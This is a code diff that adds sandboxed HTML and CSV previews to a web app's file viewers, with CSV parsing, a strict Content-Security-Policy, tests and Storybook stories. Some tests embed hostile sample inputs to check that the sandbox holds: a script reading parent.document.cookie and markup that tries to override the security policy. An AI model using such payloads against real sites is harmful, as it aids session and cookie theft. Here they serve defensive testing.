if (resource.previewKind === "text") {
|
||||
return splitContentIntoLines(content.content.data);
|
||||
@@ -253,8 +264,8 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo
|
||||
const highlightedLineRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
setMarkdownMode(isMarkdown ? "rendered" : "raw");
|
||||
}, [isMarkdown, resource.displayPath, resource.title, resource.contentType]);
|
||||
setMarkdownMode(isMarkdown || isCsv ? "rendered" : "raw");
|
||||
}, [isMarkdown, isCsv, resource.displayPath, resource.title, resource.contentType]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!lines) return;
|
||||
@@ -265,7 +276,7 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo
|
||||
if (markdownMode !== "raw") return;
|
||||
if (!highlightedLine || !highlightedLineRef.current) return;
|
||||
highlightedLineRef.current.scrollIntoView({ block: "center", behavior: "auto" });
|
||||
}, [highlightedLine, markdownMode]);
|
||||
}, [highlightedLine, markdownMode, htmlMode, previewMode]);
|
||||
|
||||
if (resource.previewKind === "image") {
|
||||
const dataUrl = content.content.encoding === "base64"
|
||||
@@ -373,24 +384,28 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo
|
||||
</div>
|
||||
);
|
||||
|
||||
if (!isMarkdown) {
|
||||
if (isHtml) {
|
||||
return (previewMode ?? htmlMode) === "raw" ? rawSourceView : <HtmlArtifactPreview html={content.content.data} title={resource.title} />;
|
||||
}
|
||||
|
||||
if (!isMarkdown && !isCsv) {
|
||||
return rawSourceView;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="relative flex min-h-0 flex-1 flex-col">
|
||||
<div className="absolute right-3 top-3 z-20">
|
||||
{previewMode === undefined && <div className="absolute right-3 top-3 z-20">
|
||||
<div
|
||||
role="group"
|
||||
aria-label="Markdown preview mode"
|
||||
aria-label={`${previewLabel} preview mode`}
|
||||
className="inline-flex rounded-md border border-border bg-background/95 p-0.5 shadow-sm backdrop-blur"
|
||||
>
|
||||
<Button
|
||||
type="button"
|
||||
variant={markdownMode === "rendered" ? "secondary" : "ghost"}
|
||||
size="icon-sm"
|
||||
aria-label="Show rendered Markdown"
|
||||
title="Rendered Markdown"
|
||||
aria-label={`Show rendered ${previewLabel}`}
|
||||
title={`Rendered ${previewLabel}`}
|
||||
aria-pressed={markdownMode === "rendered"}
|
||||
onClick={() => setMarkdownMode("rendered")}
|
||||
className={cn(
|
||||
@@ -404,8 +419,8 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo
|
||||
type="button"
|
||||
variant={markdownMode === "raw" ? "secondary" : "ghost"}
|
||||
size="icon-sm"
|
||||
aria-label="Show raw Markdown"
|
||||
title="Raw Markdown"
|
||||
aria-label={`Show raw ${previewLabel}`}
|
||||
title={`Raw ${previewLabel}`}
|
||||
aria-pressed={markdownMode === "raw"}
|
||||
onClick={() => setMarkdownMode("raw")}
|
||||
className={cn(
|
||||
@@ -417,9 +432,10 @@ export function FileContentViewer({ content, highlightedLine, onLoaded }: FileCo
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
}
|
||||
{markdownMode === "raw" ? (
|
||||
rawSourceView
|
||||
) : (
|
||||
) : isCsv ? <CsvPreview text={content.content.data} title={resource.title} /> : (
|
||||
<div
|
||||
role="region"
|
||||
aria-label={`${resource.title} rendered Markdown`}
|
||||
@@ -493,6 +509,8 @@ export function FileViewerSheet({
|
||||
typeof openProp === "boolean" ? openProp : state !== null || showPromptWhenEmpty || viewer.browse;
|
||||
|
||||
const [elapsedMs, setElapsedMs] = useState(0);
|
||||
const [htmlMode, setHtmlMode] = useState<FilePreviewMode>("rendered");
|
||||
useEffect(() => setHtmlMode("rendered"), [state?.path, state?.workspace, state?.workspaceId, state?.projectId]);
|
||||
const [copiedField, setCopiedField] = useState<"content" | "link" | null>(null);
|
||||
const [copyingField, setCopyingField] = useState<"content" | "link" | null>(null);
|
||||
const [copyFeedback, setCopyFeedback] = useState("");
|
||||
@@ -767,6 +785,10 @@ export function FileViewerSheet({
|
||||
Back to files
|
||||
</Button>
|
||||
) : null}
|
||||
{contentQuery.data?.resource.previewKind === "text" && contentQuery.data.content.encoding === "utf8"
|
||||
&& isHtmlPreview(contentQuery.data.resource.contentType, contentQuery.data.resource.displayPath || contentQuery.data.resource.title) ? (
|
||||
<FilePreviewModeToggle mode={htmlMode} onChange={setHtmlMode} label="HTML view" />
|
||||
) : null}
|
||||
{state ? (
|
||||
downloadUrl ? (
|
||||
<Button
|
||||
@@ -887,6 +909,7 @@ export function FileViewerSheet({
|
||||
elapsedMs={elapsedMs}
|
||||
canPreview={canPreview}
|
||||
highlightedLine={state.line ?? null}
|
||||
htmlMode={htmlMode}
|
||||
onRetry={handleRetry}
|
||||
onSetAnnouncement={setAnnouncement}
|
||||
onFallbackToProject={
|
||||
@@ -934,6 +957,8 @@ interface FileViewerBodyProps {
|
||||
onRetry: () => void;
|
||||
onSetAnnouncement: (message: string) => void;
|
||||
onFallbackToProject: null | (() => void);
|
||||
previewMode?: "raw" | "rendered";
|
||||
htmlMode?: FilePreviewMode;
|
||||
}
|
||||
|
||||
export function FileViewerBody({
|
||||
@@ -945,6 +970,8 @@ export function FileViewerBody({
|
||||
onRetry,
|
||||
onSetAnnouncement,
|
||||
onFallbackToProject,
|
||||
previewMode,
|
||||
htmlMode,
|
||||
}: FileViewerBodyProps) {
|
||||
if (resolveQuery.isFetching && !resolveQuery.data) {
|
||||
return <LoadingView elapsedMs={elapsedMs} />;
|
||||
@@ -1042,7 +1069,9 @@ export function FileViewerBody({
|
||||
<FileContentViewer
|
||||
content={contentQuery.data}
|
||||
highlightedLine={highlightedLine}
|
||||
previewMode={previewMode}
|
||||
onLoaded={onSetAnnouncement}
|
||||
htmlMode={htmlMode}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
import { useMemo } from "react";
|
||||
import { htmlPreviewDocument } from "@/lib/html-preview";
|
||||
|
||||
export function HtmlArtifactPreview({ html, title }: { html: string; title: string }) {
|
||||
const srcDoc = useMemo(() => htmlPreviewDocument(html), [html]);
|
||||
return (
|
||||
<iframe
|
||||
title={`${title} rendered HTML`}
|
||||
srcDoc={srcDoc}
|
||||
// Never add allow-same-origin: the opaque origin is the cookie/storage
|
||||
// and parent-DOM security boundary, including after frame navigation.
|
||||
sandbox="allow-scripts"
|
||||
referrerPolicy="no-referrer"
|
||||
allow="camera 'none'; microphone 'none'; geolocation 'none'; clipboard-read 'none'; clipboard-write 'none'; fullscreen 'none'"
|
||||
className="block h-full min-h-0 w-full flex-1 border-0 bg-background"
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -54,6 +54,22 @@ describe("text attachment tabs", () => {
|
||||
expect(host.querySelector("[data-rendered]")).not.toBeNull();
|
||||
await act(async () => root.unmount()); host.remove();
|
||||
});
|
||||
it("renders CSV cells safely and switches to the exact raw source beside download", async () => {
|
||||
const host = document.createElement("div"); const root = createRoot(host);
|
||||
const text = 'Name,Notes,Amount\n"Lee, Sam","<script>hello</script>",12\nJo,"line 1\nline 2",';
|
||||
await act(async () => root.render(<TextAttachmentPreview title="export.csv" markdown={false} csv text={text} downloadUrl="/download" />));
|
||||
expect(host.querySelector("table")).not.toBeNull();
|
||||
expect(host.textContent).toContain("2 rows");
|
||||
expect(host.querySelector("td")?.textContent).toBe("Lee, Sam");
|
||||
expect(host.querySelector("script")).toBeNull();
|
||||
expect(host.querySelector("header")?.lastElementChild?.getAttribute("href")).toBe("/download");
|
||||
await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Raw"]')!.click());
|
||||
expect(host.querySelector("pre")?.textContent).toBe(text);
|
||||
expect(host.querySelector("table")).toBeNull();
|
||||
await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Rendered"]')!.click());
|
||||
expect(host.querySelector("table")).not.toBeNull();
|
||||
await act(async () => root.unmount());
|
||||
});
|
||||
it("shows plain text literally without Markdown controls", async () => {
|
||||
const host = document.createElement("div"); const root = createRoot(host);
|
||||
await act(async () => root.render(<TextAttachmentPreview title="notes.txt" markdown={false} text="<script>alert(1)</script>" downloadUrl="/download" />));
|
||||
@@ -63,6 +79,40 @@ describe("text attachment tabs", () => {
|
||||
expect(host.querySelector('a[aria-label="Download notes.txt"] svg')).not.toBeNull();
|
||||
await act(async () => root.unmount());
|
||||
});
|
||||
it("renders HTML in an opaque sandbox, switches to literal source, and keeps download beside the controls", async () => {
|
||||
const html = '<h1>Report</h1><script>parent.document.cookie</script>';
|
||||
const host = document.createElement("div"); const root = createRoot(host);
|
||||
await act(async () => root.render(<TextAttachmentPreview title="report.html" markdown={false} html text={html} downloadUrl="/download" />));
|
||||
const frame = host.querySelector("iframe");
|
||||
expect(frame?.getAttribute("sandbox")).toBe("allow-scripts");
|
||||
expect(frame?.getAttribute("referrerpolicy")).toBe("no-referrer");
|
||||
expect(frame?.getAttribute("srcdoc")).toContain("Content-Security-Policy");
|
||||
expect(host.querySelector("script")).toBeNull();
|
||||
const toggle = host.querySelector('[aria-label="HTML view"]');
|
||||
expect(toggle?.nextElementSibling?.getAttribute("href")).toBe("/download");
|
||||
await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Raw"]')!.click());
|
||||
expect(host.querySelector("iframe")).toBeNull();
|
||||
expect(host.querySelector("pre")?.textContent).toBe(html);
|
||||
expect(host.querySelector('[aria-label="Raw"]')?.getAttribute("aria-pressed")).toBe("true");
|
||||
await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Rendered"]')!.click());
|
||||
expect(host.querySelector("iframe")).not.toBeNull();
|
||||
await act(async () => root.unmount());
|
||||
});
|
||||
it("opens HTML from an authorized attachment and resets the view for the next file", async () => {
|
||||
const fetch = vi.fn(); vi.stubGlobal("fetch", fetch);
|
||||
const client = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });
|
||||
client.setQueryData(queryKeys.issues.attachments("task"), ["one", "two"].map(id => ({ id, originalFilename: `${id}.html`, contentType: "text/html", byteSize: 20, contentPath: `/api/attachments/${id}/content` })));
|
||||
for (const id of ["one", "two"]) client.setQueryData(["task-text-attachment", "task", id], `<h1>${id}</h1>`);
|
||||
const host = document.createElement("div"); const root = createRoot(host);
|
||||
const panel = (id: string) => <QueryClientProvider client={client}><TaskAttachmentPanel issueId="task" attachmentId={id} /></QueryClientProvider>;
|
||||
await act(async () => root.render(panel("one")));
|
||||
expect(host.querySelector("iframe")?.getAttribute("title")).toBe("one.html rendered HTML");
|
||||
await act(async () => host.querySelector<HTMLButtonElement>('[aria-label="Raw"]')!.click());
|
||||
await act(async () => root.render(panel("two")));
|
||||
expect(host.querySelector("iframe")?.getAttribute("title")).toBe("two.html rendered HTML");
|
||||
expect(fetch).not.toHaveBeenCalled();
|
||||
await act(async () => root.unmount()); client.clear();
|
||||
});
|
||||
it("rejects HTTP errors, oversized responses and binary data", async () => {
|
||||
await expect(readTextPreview(new Response("denied", { status: 403 }))).rejects.toThrow("403");
|
||||
await expect(readTextPreview(new Response("x".repeat(TEXT_PREVIEW_MAX_BYTES + 1)))).rejects.toThrow("too large");
|
||||
|
||||
@@ -1,9 +1,14 @@
|
||||
import { useState } from "react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { Code2, Download, Eye } from "lucide-react";
|
||||
import { Download } from "lucide-react";
|
||||
import { issuesApi } from "@/api/issues";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { CsvPreview } from "@/components/CsvPreview";
|
||||
import { isCsvFile } from "@/lib/csv-preview";
|
||||
import { MarkdownBody } from "@/components/MarkdownBody";
|
||||
import { HtmlArtifactPreview } from "@/components/HtmlArtifactPreview";
|
||||
import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";
|
||||
import { isHtmlPreview } from "@/lib/html-preview";
|
||||
import { attachmentDownloadPath, isMarkdownAttachment, isTextAttachment } from "@/lib/issue-attachments";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
|
||||
@@ -34,34 +39,32 @@ export async function readTextPreview(response: Response) {
|
||||
}
|
||||
}
|
||||
|
||||
export function TextAttachmentPreview({ title, text, markdown, downloadUrl }: {
|
||||
export function TextAttachmentPreview({ title, text, markdown, html = false, csv = false, downloadUrl }: {
|
||||
title: string;
|
||||
text: string;
|
||||
markdown: boolean;
|
||||
html?: boolean;
|
||||
csv?: boolean;
|
||||
downloadUrl: string;
|
||||
}) {
|
||||
const [raw, setRaw] = useState(false);
|
||||
const [mode, setMode] = useState<FilePreviewMode>("rendered");
|
||||
useEffect(() => setMode("rendered"), [title]);
|
||||
const renderCsv = csv && mode === "rendered" && text.length > 0;
|
||||
const renderHtml = html && mode === "rendered" && text.length > 0;
|
||||
return (
|
||||
<div className="flex h-full min-h-0 flex-col">
|
||||
<header className="flex items-center gap-2 border-b border-border px-3 py-2">
|
||||
<h2 className="min-w-0 flex-1 truncate text-sm font-medium" title={title}>{title}</h2>
|
||||
{markdown ? (
|
||||
<div className="flex gap-1" role="group" aria-label="Markdown view">
|
||||
<Button size="icon-sm" variant={raw ? "ghost" : "secondary"} aria-label="Rendered" title="Rendered" aria-pressed={!raw} onClick={() => setRaw(false)}>
|
||||
<Eye aria-hidden />
|
||||
</Button>
|
||||
<Button size="icon-sm" variant={raw ? "secondary" : "ghost"} aria-label="Raw" title="Raw" aria-pressed={raw} onClick={() => setRaw(true)}>
|
||||
<Code2 aria-hidden />
|
||||
</Button>
|
||||
</div>
|
||||
) : null}
|
||||
{markdown || html || csv ? <FilePreviewModeToggle mode={mode} onChange={setMode} label={html ? "HTML view" : csv ? "CSV view" : "Markdown view"} /> : null}
|
||||
<Button asChild variant="ghost" size="icon-sm">
|
||||
<a href={downloadUrl} download aria-label={`Download ${title}`} title={`Download ${title}`}><Download aria-hidden /></a>
|
||||
</Button>
|
||||
</header>
|
||||
<div className="min-h-0 flex-1 overflow-auto p-4">
|
||||
<div className={renderHtml || renderCsv ? "flex min-h-0 flex-1 flex-col overflow-hidden" : "min-h-0 flex-1 overflow-auto p-4"}>
|
||||
{text.length === 0 ? <p className="text-sm text-muted-foreground">File is empty.</p>
|
||||
: markdown && !raw ? <MarkdownBody mediaMode="reference">{text}</MarkdownBody>
|
||||
: renderCsv ? <CsvPreview text={text} title={title} />
|
||||
: renderHtml ? <HtmlArtifactPreview html={text} title={title} />
|
||||
: markdown && mode === "rendered" ? <MarkdownBody mediaMode="reference">{text}</MarkdownBody>
|
||||
: <pre className="whitespace-pre-wrap break-words font-mono text-sm" aria-label={`${title} raw text`}>{text}</pre>}
|
||||
</div>
|
||||
</div>
|
||||
@@ -99,5 +102,5 @@ export function TaskAttachmentPanel({ issueId, attachmentId }: { issueId: string
|
||||
);
|
||||
}
|
||||
if (content.data === undefined) return <p className="p-4 text-sm" role="status">Loading file…</p>;
|
||||
return <TextAttachmentPreview title={attachment.originalFilename ?? attachment.id} text={content.data} markdown={isMarkdownAttachment(attachment)} downloadUrl={downloadUrl} />;
|
||||
return <TextAttachmentPreview key={attachment.id} title={attachment.originalFilename ?? attachment.id} text={content.data} csv={isCsvFile(attachment.originalFilename ?? "", attachment.contentType)} markdown={isMarkdownAttachment(attachment)} html={isHtmlPreview(attachment.contentType, attachment.originalFilename)} downloadUrl={downloadUrl} />;
|
||||
}
|
||||
@@ -1,9 +1,12 @@
|
||||
import { useState } from "react";
|
||||
import { isCsvFile } from "@/lib/csv-preview";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { Check, Copy, Download } from "lucide-react";
|
||||
import { fileResourcesApi } from "@/api/file-resources";
|
||||
import { FileViewerBody, FileViewerMetadataRow } from "@/components/FileViewerSheet";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { FilePreviewModeToggle, type FilePreviewMode } from "@/components/FilePreviewModeToggle";
|
||||
import { isHtmlPreview } from "@/lib/html-preview";
|
||||
import type { FileViewerUrlState } from "@/context/FileViewerContext";
|
||||
import { copyTextToClipboard } from "@/lib/clipboard";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
@@ -20,6 +23,8 @@ export function TaskWorkspaceFilePanel({
|
||||
payload: WorkspaceFilePayload;
|
||||
onFallbackToProject?: () => void;
|
||||
}) {
|
||||
const [previewMode, setPreviewMode] = useState<"raw" | "rendered">("rendered");
|
||||
useEffect(() => setPreviewMode("rendered"), [payload.path, payload.workspace, payload.workspaceId, payload.projectId]);
|
||||
const [copied, setCopied] = useState(false);
|
||||
const [announcement, setAnnouncement] = useState("");
|
||||
const state: FileViewerUrlState = {
|
||||
@@ -46,6 +51,8 @@ export function TaskWorkspaceFilePanel({
|
||||
? fileResourcesApi.downloadUrl(issueId, state)
|
||||
: null;
|
||||
|
||||
const renderedPreview = resource && (isHtmlPreview(resource.contentType, resource.displayPath || resource.title) || isCsvFile(resource.displayPath || resource.title, resource.contentType ?? "") || /\.(md|markdown|mdown|mkdn|mkd)$/i.test(resource.displayPath || resource.title) || resource.contentType?.includes("markdown"));
|
||||
|
||||
return (
|
||||
<div className="flex h-full min-h-0 flex-col bg-muted/20">
|
||||
<header className="flex min-w-0 items-start gap-2 border-b border-border bg-card px-3 py-2">
|
||||
@@ -72,6 +79,7 @@ export function TaskWorkspaceFilePanel({
|
||||
{copied ? <Check aria-hidden /> : <Copy aria-hidden />}
|
||||
</Button>
|
||||
) : null}
|
||||
{renderedPreview && contentQuery.data ? <FilePreviewModeToggle mode={previewMode} onChange={setPreviewMode} label="File preview mode" /> : null}
|
||||
{downloadUrl ? (
|
||||
<Button asChild variant="ghost" size="icon-sm">
|
||||
<a href={downloadUrl} download={resource?.title} aria-label="Download file" title="Download file">
|
||||
@@ -81,9 +89,10 @@ export function TaskWorkspaceFilePanel({
|
||||
) : null}
|
||||
</div>
|
||||
</header>
|
||||
<div className="min-h-0 flex-1 overflow-hidden">
|
||||
<div className="flex min-h-0 flex-1 flex-col overflow-hidden">
|
||||
<div className="sr-only" aria-live="polite">{announcement}</div>
|
||||
<FileViewerBody
|
||||
previewMode={previewMode}
|
||||
resolveQuery={resourceQuery}
|
||||
contentQuery={contentQuery}
|
||||
elapsedMs={0}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { isCsvFile, parseCsv } from "./csv-preview";
|
||||
|
||||
describe("CSV preview parsing", () => {
|
||||
it("handles BOM, CRLF, quoted commas, escaped quotes and multiline cells", () => {
|
||||
expect(parseCsv('\uFEFFName,Notes,Amount\r\n"Lee, Sam","Said ""hello""\nagain",12\r\n')).toEqual([
|
||||
["Name", "Notes", "Amount"], ["Lee, Sam", 'Said "hello"\nagain', "12"],
|
||||
]);
|
||||
});
|
||||
it("preserves trailing empty fields, blank records and uneven rows", () => {
|
||||
expect(parseCsv("a,b\n1,\n\n2,3,4")).toEqual([["a", "b"], ["1", ""], [""], ["2", "3", "4"]]);
|
||||
expect(parseCsv("")).toEqual([]);
|
||||
expect(parseCsv("a,b")).toEqual([["a", "b"]]);
|
||||
});
|
||||
it("reports incomplete quoted fields", () => {
|
||||
expect(() => parseCsv('a,b\n"unfinished')).toThrow("incomplete");
|
||||
});
|
||||
it("recognizes CSV filenames and media types", () => {
|
||||
expect(isCsvFile("EXPORT.CSV", "application/octet-stream")).toBe(true);
|
||||
expect(isCsvFile("download", "text/csv; charset=utf-8")).toBe(true);
|
||||
expect(isCsvFile("notes.txt", "text/plain")).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,29 @@
|
||||
export function isCsvFile(filename: string, contentType = "") {
|
||||
return /\.csv$/i.test(filename) || contentType.split(";")[0].trim().toLowerCase() === "text/csv";
|
||||
}
|
||||
|
||||
/** Parse comma-separated records, preserving quoted newlines and escaped quotes. */
|
||||
export function parseCsv(text: string): string[][] {
|
||||
const source = text.replace(/^\uFEFF/, "");
|
||||
if (!source) return [];
|
||||
const rows: string[][] = [];
|
||||
let row: string[] = [];
|
||||
let field = "";
|
||||
let quoted = false;
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const char = source[i];
|
||||
if (char === '"') {
|
||||
if (quoted && source[i + 1] === '"') { field += '"'; i++; }
|
||||
else if (quoted || field === "") quoted = !quoted;
|
||||
else field += char;
|
||||
} else if (!quoted && char === ",") {
|
||||
row.push(field); field = "";
|
||||
} else if (!quoted && (char === "\n" || char === "\r")) {
|
||||
row.push(field); rows.push(row); row = []; field = "";
|
||||
if (char === "\r" && source[i + 1] === "\n") i++;
|
||||
} else field += char;
|
||||
}
|
||||
if (quoted) throw new Error("A quoted field is incomplete. Switch to raw view to inspect the file.");
|
||||
if (field !== "" || row.length || !/[\r\n]$/.test(source)) { row.push(field); rows.push(row); }
|
||||
return rows;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { HTML_PREVIEW_CSP, htmlPreviewDocument, isHtmlPreview } from "./html-preview";
|
||||
import { isTextAttachment } from "./issue-attachments";
|
||||
|
||||
describe("HTML artifact previews", () => {
|
||||
it("recognizes HTML MIME types and filenames including generic uploaded files", () => {
|
||||
for (const [type, name] of [["text/html; charset=utf-8", "report"], ["TEXT/HTML", "report"], ["application/xhtml+xml", "report"], ["application/octet-stream", "report.HTML"], ["text/plain", "report.htm"]]) {
|
||||
expect(isHtmlPreview(type, name)).toBe(true);
|
||||
expect(isTextAttachment({ contentType: type, originalFilename: name })).toBe(true);
|
||||
}
|
||||
expect(isHtmlPreview("text/plain", "notes.txt")).toBe(false);
|
||||
expect(isHtmlPreview("text/markdown", "report.md")).toBe(false);
|
||||
});
|
||||
it("puts the trusted policy before adversarial complete documents without parsing in the host DOM", () => {
|
||||
const html = '</head><meta http-equiv="Content-Security-Policy" content="default-src *"><script>parent.document.cookie</script>';
|
||||
const doc = htmlPreviewDocument(html);
|
||||
expect(doc.indexOf(`content="${HTML_PREVIEW_CSP}"`)).toBeLessThan(doc.indexOf(html));
|
||||
expect(doc).toContain("connect-src 'none'");
|
||||
expect(doc).toContain("form-action 'none'");
|
||||
expect(doc).toContain("base-uri 'none'");
|
||||
expect(doc).toContain("frame-src 'none'");
|
||||
expect(doc).not.toContain("script-src 'self'");
|
||||
expect(doc).not.toContain("unsafe-eval");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,28 @@
|
||||
/** HTML previews are documents, never nodes in the Paperclip DOM. */
|
||||
export function isHtmlPreview(contentType: string | null | undefined, filename: string | null | undefined) {
|
||||
const type = contentType?.toLowerCase().split(";")[0].trim();
|
||||
return type === "text/html" || type === "application/xhtml+xml" || /\.html?$/i.test(filename ?? "");
|
||||
}
|
||||
|
||||
// Inline scripts support self-contained reports/charts. No origin privileges,
|
||||
// external scripts, API calls, forms, embeds, or remote subresources are granted.
|
||||
// Multiple CSPs intersect; artifact markup cannot loosen this first policy.
|
||||
export const HTML_PREVIEW_CSP = [
|
||||
"default-src 'none'",
|
||||
"script-src 'unsafe-inline'",
|
||||
"style-src 'unsafe-inline'",
|
||||
"img-src data:",
|
||||
"font-src data:",
|
||||
"media-src data:",
|
||||
"connect-src 'none'",
|
||||
"frame-src 'none'",
|
||||
"object-src 'none'",
|
||||
"base-uri 'none'",
|
||||
"form-action 'none'",
|
||||
].join("; ");
|
||||
|
||||
export function htmlPreviewDocument(html: string) {
|
||||
// Install the policy before ANY untrusted markup is parsed. Do not parse the
|
||||
// artifact in the host document (even detached DOMs can load resources).
|
||||
return `<!doctype html><html><head><meta charset="utf-8"><meta http-equiv="Content-Security-Policy" content="${HTML_PREVIEW_CSP}"><meta name="referrer" content="no-referrer"></head><body>${html}</body></html>`;
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
import type { IssueAttachment } from "@paperclipai/shared";
|
||||
import { isMarkdownAttachmentContent } from "@paperclipai/shared";
|
||||
import { isImageLikeOutput, isVideoLikeOutput } from "./issue-output";
|
||||
import { isHtmlPreview } from "./html-preview";
|
||||
|
||||
type AttachmentPathLike = {
|
||||
contentPath: string;
|
||||
@@ -47,6 +48,7 @@ export function isTextAttachment(attachment: {
|
||||
}) {
|
||||
const type = attachment.contentType.toLowerCase().split(";")[0].trim();
|
||||
return isMarkdownAttachmentContent(attachment)
|
||||
|| isHtmlPreview(type, attachment.originalFilename)
|
||||
|| type.startsWith("text/")
|
||||
|| /^(application\/(json|xml|javascript|x-yaml|yaml)|application\/[\w.-]+\+json)$/.test(type)
|
||||
|| (["", "application/octet-stream"].includes(type)
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
import { useState } from "react";
|
||||
import { useQueryClient } from "@tanstack/react-query";
|
||||
import { TaskWorkspaceFilePanel } from "@/components/task-side-panel/TaskWorkspaceFilePanel";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||
import { TextAttachmentPreview } from "@/components/task-side-panel/TaskAttachmentPanel";
|
||||
|
||||
const meta: Meta<typeof TextAttachmentPreview> = {
|
||||
title: "Components/CSV File Tab",
|
||||
component: TextAttachmentPreview,
|
||||
parameters: { layout: "fullscreen" },
|
||||
decorators: [(Story) => <div className="h-screen bg-background text-foreground"><Story /></div>],
|
||||
};
|
||||
export default meta;
|
||||
type Story = StoryObj<typeof TextAttachmentPreview>;
|
||||
export const RevenueExport: Story = {
|
||||
args: {
|
||||
title: "monthly-revenue.csv",
|
||||
markdown: false,
|
||||
csv: true,
|
||||
downloadUrl: "data:text/csv,Month%2CRevenue%0AOctober%2C12800",
|
||||
text: 'Month,Customer,Plan,Revenue,Status,Notes\nOctober,"Acme, Inc.",Enterprise,12800,Active,"Expanded to 40 seats"\nOctober,Northstar Studio,Pro,2400,Active,"Annual renewal"\nOctober,Atlas Labs,Enterprise,9600,Active,"Includes onboarding"\nOctober,Juniper Design,Starter,480,Trial,"Review on Friday"\nSeptember,"Acme, Inc.",Enterprise,11200,Active,"32 seats"\nSeptember,Northstar Studio,Pro,2400,Active,"Annual renewal"\nSeptember,Atlas Labs,Pro,4800,Active,"Upgrade scheduled"\nSeptember,Juniper Design,Starter,480,Trial,"First month"',
|
||||
},
|
||||
};
|
||||
export const Empty: Story = { args: { ...RevenueExport.args, text: "" } };
|
||||
export const Invalid: Story = { args: { ...RevenueExport.args, text: 'Name,Notes\nSam,"unfinished' } };
|
||||
|
||||
// Exercise the same CSV renderer through the workspace tab query boundary.
|
||||
function WorkspaceCsvTab() {
|
||||
const client = useQueryClient();
|
||||
const payload = { kind: "workspace-file" as const, path: "reports/monthly-revenue.csv", workspace: "auto" as const, projectId: null, workspaceId: null, line: null, column: null };
|
||||
const { kind: _kind, ...state } = payload;
|
||||
useState(() => {
|
||||
const resource = { kind: "file", provider: "git_worktree", title: "monthly-revenue.csv", displayPath: payload.path, workspaceLabel: "Report workspace", workspaceKind: "execution_workspace", workspaceId: "csv-story-workspace", contentType: "text/csv", byteSize: 512, previewKind: "text", capabilities: { preview: true, download: true, listChildren: false } };
|
||||
client.setQueryData(queryKeys.issues.fileResource("csv-story-task", state), resource);
|
||||
client.setQueryData(queryKeys.issues.fileResourceContent("csv-story-task", state), { resource, content: { encoding: "utf8", data: RevenueExport.args!.text } });
|
||||
return true;
|
||||
});
|
||||
return <TaskWorkspaceFilePanel issueId="csv-story-task" payload={payload} />;
|
||||
}
|
||||
export const WorkspaceTab: Story = { render: () => <WorkspaceCsvTab /> };
|
||||
@@ -0,0 +1,25 @@
|
||||
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||
import { TextAttachmentPreview } from "@/components/task-side-panel/TaskAttachmentPanel";
|
||||
import { reportHtml, securityHtml } from "./fixtures";
|
||||
|
||||
function Preview({ html = reportHtml, title = "repository-usage.html", width = 800 }: { html?: string; title?: string; width?: number }) {
|
||||
return <main className="min-h-screen bg-background p-4 text-foreground">
|
||||
<section className="mx-auto flex h-(--sz-640px) max-w-full flex-col overflow-hidden rounded-lg border border-border" style={{ width }}>
|
||||
<TextAttachmentPreview key={title} title={title} text={html} markdown={false} html downloadUrl={`data:text/html;charset=utf-8,${encodeURIComponent(html)}`} />
|
||||
</section>
|
||||
</main>;
|
||||
}
|
||||
|
||||
const meta = {
|
||||
title: "HTML artifacts/01 Preview",
|
||||
component: Preview,
|
||||
args: { html: reportHtml, title: "repository-usage.html", width: 800 },
|
||||
parameters: { layout: "fullscreen", docs: { description: { component: "Production attachment viewer. Inline CSS and JavaScript run in an opaque-origin sandbox. Remote dependencies and API requests are blocked. The original file is available through Download or Raw." }, story: { inline: false } } },
|
||||
} satisfies Meta<typeof Preview>;
|
||||
export default meta;
|
||||
type Story = StoryObj<typeof meta>;
|
||||
export const InteractiveReport: Story = {};
|
||||
export const SecurityChecks: Story = { args: { html: securityHtml, title: "isolation-checks.html" } };
|
||||
export const Empty: Story = { args: { html: "", title: "empty.html" } };
|
||||
export const Mobile: Story = { args: { width: 360 }, globals: { viewport: { value: "mobile", isRotated: false } } };
|
||||
export const Light: Story = { globals: { theme: "light" } };
|
||||
@@ -0,0 +1,40 @@
|
||||
import { useState } from "react";
|
||||
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import type { ResolvedWorkspaceResource } from "@paperclipai/shared";
|
||||
import { TaskWorkspaceFilePanel } from "@/components/task-side-panel/TaskWorkspaceFilePanel";
|
||||
import { FileViewerSheet } from "@/components/FileViewerSheet";
|
||||
import { FileViewerProvider } from "@/context/FileViewerContext";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
import { reportHtml } from "./fixtures";
|
||||
|
||||
